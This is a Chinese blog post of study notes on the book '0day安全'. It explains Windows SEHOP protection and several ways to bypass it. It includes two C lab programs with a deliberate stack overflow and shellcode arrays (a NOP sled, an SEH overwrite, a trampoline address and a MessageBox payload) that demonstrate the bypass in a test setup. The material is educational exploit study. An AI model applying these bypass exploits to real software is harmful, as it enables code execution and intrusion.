• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

《0day安全》SEHOP保护

03 Apr 2019

Reading time ~1 minute

  • SEHOP介绍
  • SEHOP的突破
    • 攻击返回地址
    • 攻击虚函数
    • 利用未启用SEHOP模块
    • 伪造S.E.H链表
      • 条件:
  • 参考链接

SEHOP介绍

S.E.H函数是以单链表的形式存放于栈中的,二在这个链表的末端是程序的默认异常处理,它负责处理前面S.E.H函数都不能处理的异常。这是一个经典的S.H.E链

SEHOP(Structured Exception Handling Overwrite Protection )的主要目的就是检查这条S.E.H链的完整性,在程序转入异常处理前SEHOP会检查S.E.H链上最后一个异常处理函数是否为系统固定的终极异常处理函数。如果是,则说明这条S.E.H链没有被破坏,不然就可能发生了S.E.H覆盖攻击,程序将不会去执行当前的异常处理函数。

其验证代码如下

S.E.H溢出的流程

启用SEHOP

SEHOP的突破

攻击返回地址

和SafeSEH的一样,如果能遇到启用了SEHOP但未启用GS的情况下就可以直接攻击返回地址。

攻击虚函数

虚函数和S.E.H没有任何关联,所以SEHOP无法提供保护,我们可以通过直接攻击虚函数表来劫持程序流程。

利用未启用SEHOP模块

虽然在程序的编译属性里没有找到关于SEHOP的选项,但出于兼容性的考虑还是对一些程序禁用了SEHOP,比如经过Armadilo加壳的软件。

操作系统会根据PE头中MajorLinkerVersion和MinorLinkerVersion两个选项来判断是否为程序禁用SEHOP。如果我们将两个选项分别设置为0x53和0x52来模拟Armadilo加壳的程序。

实验环境

设置为0x53和0x52来模拟Armadilo加壳的程序。接下来就和前面SafeSEH差不多了,可以在od里面看到我们写的dll没有加任何的保护

我们在这里面找一个跳板

作为覆盖S.E.H指针的位置。

然后我们就可以在这里调用shellcode了

代码:

#include "stdafx.h"

#include "stdlib.h"

#include <windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x12\x10\x12\x11"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8b"

"\x09\x8B"

"\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)

{

	printf("There is an exception");

	getchar();

	return 1;

}

void test(char * input)

{

	char str[200];

	memcpy(str,input,450);

	int zero=0;

	__try

	{

		zero=1/zero;

	}

	__except(MyException())

	{

	}

}

int _tmain(int argc, _TCHAR* argv[])

{

	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JMP.dll"));//load No_SafeSEH module

	char str[200];


	test(shellcode);

	return 0;

}

伪造S.E.H链表

因为SEHOP就是检测S.E.H链中最后一个是不是FinalExceptionHandler函数,如果我们可以伪造一个这样一个结构,那么就可以绕过SEHOP。

条件:

1.  不能开启ASLR,因为伪造时需要用到FinalExceptionHandler指向的地址,如果开启了ASLR就无法每次都精确确认。

2.  上图中的0xXXXXXXXXXXXX地址必须指向栈中,而且必须能被4整除

3.  0xXXXXXXXXXXXX处存放的异常处理记录作为S.E.H链的最后一项,其异常处理函数指针必须指向终极异常处理函数也就是FinalExceptionHandler

4.  突破SEHOP检查后还要突破SafeSEH。

因为以上条件的限制,导致伪造S.E.H表异常的困难。作者的实验还是在上面实验的基础上做的,并且没有开启ASLR和SafeSEH保护。

实验环境:

我们先找到SHE链的尾部

这里就是我们需要构造的也就是最终异常处理函数。

然后我们再找一个存放这个伪造SHE的位置,需要是4的整倍数,并且在当前栈中,所以我们就找一个在shellcode不远处的位置。

就是他了,最后还要一个.dll里面的pop pop retn作为跳板就可以了,还是用之前的

剩下的就是覆盖了,把距离我们输入的最近的S.E.H链覆盖成上面的地址

最后就可以跳转到shellcode执行了

返回到栈上shellcode以上的位置,然后往下走执行shellcode

代码:

#include "stdafx.h"
#include "stdlib.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\xff\x18\x00"
"\x12\x10\x12\x11"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8b"
"\x09\x8B"
"\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\xff\xff\xff\xff"
"\xff\x72\xc4\x77"

;
DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	memcpy(str,input,450);
		int zero=0;
	__try
	{
		zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JMP.dll"));//load No_SafeSEH module
	char str[200];
	test(shellcode);
	return 0;
}

参考链接

https://bbs.pediy.com/thread-104707.htm



Share Tweet +1